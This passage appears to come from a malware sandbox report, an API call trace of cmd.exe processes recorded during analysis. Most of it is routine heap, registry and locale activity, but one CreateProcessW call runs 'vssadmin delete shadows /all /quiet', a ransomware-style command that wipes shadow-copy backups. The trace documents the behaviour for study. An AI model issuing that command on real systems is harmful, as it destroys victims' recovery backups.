[0098.844] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0098.844] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0098.844] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0098.844] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0098.844] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0098.845] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0098.845] GetProcessHeap () returned 0x2879df70000 [0098.845] RtlFreeHeap (HeapHandle=0x2879df70000, Flags=0x0, BaseAddress=0x2879df76cc0) returned 1 [0098.845] GetProcessHeap () returned 0x2879df70000 [0098.845] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x12) returned 0x2879df71a80 [0098.846] _get_osfhandle (_FileHandle=1) returned 0x280 [0098.846] SetConsoleMode (hConsoleHandle=0x280, dwMode=0x0) returned 0 [0098.846] _get_osfhandle (_FileHandle=0) returned 0x274 [0098.846] SetConsoleMode (hConsoleHandle=0x274, dwMode=0x0) returned 0 [0098.846] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xfd951ef0e0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xfd951ef0b8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0xfd951ef0b8*(hProcess=0x9c, hThread=0x98, dwProcessId=0x5c8, dwThreadId=0x664)) returned 1 [0099.618] CloseHandle (hObject=0x98) returned 1 [0099.618] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0099.618] GetProcessHeap () returned 0x2879df70000 [0099.618] RtlFreeHeap (HeapHandle=0x2879df70000, Flags=0x0, BaseAddress=0x2879df78500) returned 1 [0099.619] GetEnvironmentStringsW () returned 0x2879df78500* [0099.619] GetProcessHeap () returned 0x2879df70000 [0099.619] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0xacc) returned 0x2879df893b0 [0099.619] FreeEnvironmentStringsA (penv="=") returned 1 [0099.619] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcea380000 [0099.619] GetProcAddress (hModule=0x7ffcea380000, lpProcName="NtQueryInformationProcess") returned 0x7ffcea4256b0 [0099.619] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0xfd951ee5b8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xfd951ee5b8, ReturnLength=0x0) returned 0x0 [0099.620] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0x49e815c000, lpBuffer=0xfd951ee5f0, nSize=0x7a0, lpNumberOfBytesRead=0xfd951ee5b0 | out: lpBuffer=0xfd951ee5f0*, lpNumberOfBytesRead=0xfd951ee5b0*=0x7a0) returned 1 [0100.638] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) Thread: id = 36 os_tid = 0x518 Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x15a8a000" os_pid = "0x1308" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x11b8" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 22 os_tid = 0x130c [0088.833] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7ab000000 [0088.833] __set_app_type (_Type=0x1) [0088.833] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7ab016d00) returned 0x0 [0088.834] __getmainargs (in: _Argc=0x7ff7ab039200, _Argv=0x7ff7ab039208, _Env=0x7ff7ab039210, _DoWildCard=0, _StartInfo=0x7ff7ab03921c | out: _Argc=0x7ff7ab039200, _Argv=0x7ff7ab039208, _Env=0x7ff7ab039210) returned 0 [0088.834] _onexit (_Func=0x7ff7ab017fd0) returned 0x7ff7ab017fd0 [0088.834] _onexit (_Func=0x7ff7ab017fe0) returned 0x7ff7ab017fe0 [0088.834] _onexit (_Func=0x7ff7ab017ff0) returned 0x7ff7ab017ff0 [0088.834] _onexit (_Func=0x7ff7ab018000) returned 0x7ff7ab018000 [0088.835] _onexit (_Func=0x7ff7ab018010) returned 0x7ff7ab018010 [0088.835] _onexit (_Func=0x7ff7ab018020) returned 0x7ff7ab018020 [0088.835] GetCurrentThreadId () returned 0x130c [0088.835] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x130c) returned 0x70 [0088.836] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffce9120000 [0088.836] GetProcAddress (hModule=0x7ffce9120000, lpProcName="SetThreadUILanguage") returned 0x7ffce913a990 [0088.836] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.532] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0089.532] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x598f5af7e8 | out: phkResult=0x598f5af7e8*=0x0) returned 0x2 [0089.532] VirtualQuery (in: lpAddress=0x598f5af7d4, lpBuffer=0x598f5af750, dwLength=0x30 | out: lpBuffer=0x598f5af750*(BaseAddress=0x598f5af000, AllocationBase=0x598f4b0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.532] VirtualQuery (in: lpAddress=0x598f4b0000, lpBuffer=0x598f5af750, dwLength=0x30 | out: lpBuffer=0x598f5af750*(BaseAddress=0x598f4b0000, AllocationBase=0x598f4b0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.532] VirtualQuery (in: lpAddress=0x598f4b1000, lpBuffer=0x598f5af750, dwLength=0x30 | out: lpBuffer=0x598f5af750*(BaseAddress=0x598f4b1000, AllocationBase=0x598f4b0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.532] VirtualQuery (in: lpAddress=0x598f4b4000, lpBuffer=0x598f5af750, dwLength=0x30 | out: lpBuffer=0x598f5af750*(BaseAddress=0x598f4b4000, AllocationBase=0x598f4b0000, AllocationProtect=0x4, __alignment1=0xffff9302, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0089.532] VirtualQuery (in: lpAddress=0x598f5b0000, lpBuffer=0x598f5af750, dwLength=0x30 | out: lpBuffer=0x598f5af750*(BaseAddress=0x598f5b0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffff9302, RegionSize=0x50000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0089.532] GetConsoleOutputCP () returned 0x1b5 [0090.636] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ab03fbb0 | out: lpCPInfo=0x7ff7ab03fbb0) returned 1 [0090.636] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7ab028150, Add=1) returned 1 [0090.637] _get_osfhandle (_FileHandle=1) returned 0x290 [0090.637] GetConsoleMode (in: hConsoleHandle=0x290, lpMode=0x7ff7ab03fc04 | out: lpMode=0x7ff7ab03fc04) returned 0 [0090.637] _get_osfhandle (_FileHandle=0) returned 0x284 [0090.637] GetConsoleMode (in: hConsoleHandle=0x284, lpMode=0x7ff7ab03fc00 | out: lpMode=0x7ff7ab03fc00) returned 0 [0090.637] _get_osfhandle (_FileHandle=1) returned 0x290 [0090.637] SetConsoleMode (hConsoleHandle=0x290, dwMode=0x0) returned 0 [0090.637] _get_osfhandle (_FileHandle=1) returned 0x290 [0090.637] GetConsoleMode (in: hConsoleHandle=0x290, lpMode=0x7ff7ab03fc08 | out: lpMode=0x7ff7ab03fc08) returned 0 [0090.637] _get_osfhandle (_FileHandle=0) returned 0x284 [0090.637] GetConsoleMode (in: hConsoleHandle=0x284, lpMode=0x7ff7ab03fc0c | out: lpMode=0x7ff7ab03fc0c) returned 0 [0090.637] GetEnvironmentStringsW () returned 0x1a383f85a10* [0090.638] GetProcessHeap () returned 0x1a383f80000 [0090.638] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0xa7c) returned 0x1a383f864a0 [0090.638] FreeEnvironmentStringsA (penv="A") returned 1 [0090.638] GetProcessHeap () returned 0x1a383f80000 [0090.638] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x8) returned 0x1a383f86f30 [0090.638] GetEnvironmentStringsW () returned 0x1a383f85a10* [0090.638] GetProcessHeap () returned 0x1a383f80000 [0090.638] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0xa7c) returned 0x1a383f86f50 [0090.638] FreeEnvironmentStringsA (penv="A") returned 1 [0090.638] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x598f5ae698 | out: phkResult=0x598f5ae698*=0x7c) returned 0x0 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x0, lpData=0x598f5ae6b0*=0x4, lpcbData=0x598f5ae694*=0x1000) returned 0x2 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x4, lpData=0x598f5ae6b0*=0x1, lpcbData=0x598f5ae694*=0x4) returned 0x0 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x0, lpData=0x598f5ae6b0*=0x1, lpcbData=0x598f5ae694*=0x1000) returned 0x2 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x4, lpData=0x598f5ae6b0*=0x0, lpcbData=0x598f5ae694*=0x4) returned 0x0 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x4, lpData=0x598f5ae6b0*=0x40, lpcbData=0x598f5ae694*=0x4) returned 0x0 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x4, lpData=0x598f5ae6b0*=0x40, lpcbData=0x598f5ae694*=0x4) returned 0x0 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x0, lpData=0x598f5ae6b0*=0x40, lpcbData=0x598f5ae694*=0x1000) returned 0x2 [0090.639] RegCloseKey (hKey=0x7c) returned 0x0 [0090.639] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x598f5ae698 | out: phkResult=0x598f5ae698*=0x7c) returned 0x0 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x0, lpData=0x598f5ae6b0*=0x40, lpcbData=0x598f5ae694*=0x1000) returned 0x2 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x4, lpData=0x598f5ae6b0*=0x1, lpcbData=0x598f5ae694*=0x4) returned 0x0 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x0, lpData=0x598f5ae6b0*=0x1, lpcbData=0x598f5ae694*=0x1000) returned 0x2 [0090.639] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x4, lpData=0x598f5ae6b0*=0x0, lpcbData=0x598f5ae694*=0x4) returned 0x0 [0090.640] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x4, lpData=0x598f5ae6b0*=0x9, lpcbData=0x598f5ae694*=0x4) returned 0x0 [0090.640] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x4, lpData=0x598f5ae6b0*=0x9, lpcbData=0x598f5ae694*=0x4) returned 0x0 [0090.640] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x598f5ae690, lpData=0x598f5ae6b0, lpcbData=0x598f5ae694*=0x1000 | out: lpType=0x598f5ae690*=0x0, lpData=0x598f5ae6b0*=0x9, lpcbData=0x598f5ae694*=0x1000) returned 0x2 [0090.640] RegCloseKey (hKey=0x7c) returned 0x0 [0090.640] time (in: timer=0x0 | out: timer=0x0) returned 0x5ee22363 [0090.640] srand (_Seed=0x5ee22363) [0090.640] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0090.640] malloc (_Size=0x4000) returned 0x1a383f654f0 [0090.641] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0090.641] malloc (_Size=0xffce) returned 0x1a384150080 [0090.641] ??_V@YAXPEAX@Z () returned 0x1a384150080 [0090.642] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a384150080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0090.642] malloc (_Size=0xffce) returned 0x1a384160060 [0090.643] ??_V@YAXPEAX@Z () returned 0x1a384160060 [0090.643] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1a384160060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0090.643] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0090.643] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0090.643] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0090.644] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0090.644] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0090.644] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0090.644] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0090.644] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0090.644] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0090.644] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0090.644] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0090.644] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0090.644] GetProcessHeap () returned 0x1a383f80000 [0090.644] RtlFreeHeap (HeapHandle=0x1a383f80000, Flags=0x0, BaseAddress=0x1a383f864a0) returned 1 [0090.644] GetEnvironmentStringsW () returned 0x1a383f85a10* [0090.644] GetProcessHeap () returned 0x1a383f80000 [0090.644] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0xa94) returned 0x1a383f87a10 [0090.644] FreeEnvironmentStringsA (penv="A") returned 1 [0090.644] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0090.644] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0090.645] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0090.645] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0090.645] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0090.645] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0090.645] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0090.645] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0090.645] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0090.645] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0090.645] malloc (_Size=0xffce) returned 0x1a384170040 [0090.645] ??_V@YAXPEAX@Z () returned 0x1a384170040 [0090.646] GetProcessHeap () returned 0x1a383f80000 [0090.646] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x40) returned 0x1a383f884b0 [0090.646] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a384170040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0090.646] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1a384170040, lpFilePart=0x598f5af210 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x598f5af210*="Desktop") returned 0x17 [0090.647] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0090.647] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x598f5aef40 | out: lpFindFileData=0x598f5aef40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1a383f88500 [0090.647] FindClose (in: hFindFile=0x1a383f88500 | out: hFindFile=0x1a383f88500) returned 1 [0090.647] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x598f5aef40 | out: lpFindFileData=0x598f5aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1a383f88500 [0090.647] FindClose (in: hFindFile=0x1a383f88500 | out: hFindFile=0x1a383f88500) returned 1 [0090.648] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x598f5aef40 | out: lpFindFileData=0x598f5aef40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xa5b5c9e1, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xa5b5c9e1, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1a383f88500 [0090.648] FindClose (in: hFindFile=0x1a383f88500 | out: hFindFile=0x1a383f88500) returned 1 [0090.648] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0090.648] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0090.648] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0090.648] GetProcessHeap () returned 0x1a383f80000 [0090.648] RtlFreeHeap (HeapHandle=0x1a383f80000, Flags=0x0, BaseAddress=0x1a383f87a10) returned 1 [0090.648] GetEnvironmentStringsW () returned 0x1a383f80fc0* [0090.648] GetProcessHeap () returned 0x1a383f80000 [0090.648] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0xacc) returned 0x1a383f88500 [0090.648] FreeEnvironmentStringsA (penv="=") returned 1 [0090.648] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a384150080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0090.648] GetProcessHeap () returned 0x1a383f80000 [0090.648] RtlFreeHeap (HeapHandle=0x1a383f80000, Flags=0x0, BaseAddress=0x1a383f884b0) returned 1 [0090.648] ??_V@YAXPEAX@Z () returned 0x1 [0090.648] ??_V@YAXPEAX@Z () returned 0x1 [0090.648] GetProcessHeap () returned 0x1a383f80000 [0090.648] RtlAllocateHeap (HeapHandle=0x1a383f80000, Flags=0x8, Size=0x4016) returned 0x1a383f88fe0 [0090.649] GetProcessHeap () returned 0x1a383f80000 [0090.649] RtlFreeHeap (HeapHandle=0x1a383f80000, Flags=0x0, BaseAddress=0x1a383f88fe0) returned 1 [0090.649] GetConsoleOutputCP () returned 0x1b5 [0091.262] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ab03fbb0 | out: lpCPInfo=0x7ff7ab03fbb0) returned 1 [0091.262] GetUserDefaultLCID () returned 0x409 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7ab03bb78, cchData=8 | out: lpLCData=":") returned 2 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x598f5af5d0, cchData=128 | out: lpLCData="0") returned 2 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x598f5af5d0, cchData=128 | out: lpLCData="0") returned 2 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x598f5af5d0, cchData=128 | out: lpLCData="1") returned 2 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7ab03bb68, cchData=8 | out: lpLCData="/") returned 2 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7ab03bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7ab03bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7ab03ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7ab03ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7ab03ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0091.263] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7ab03b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0091.263] GetLocaleInfoW 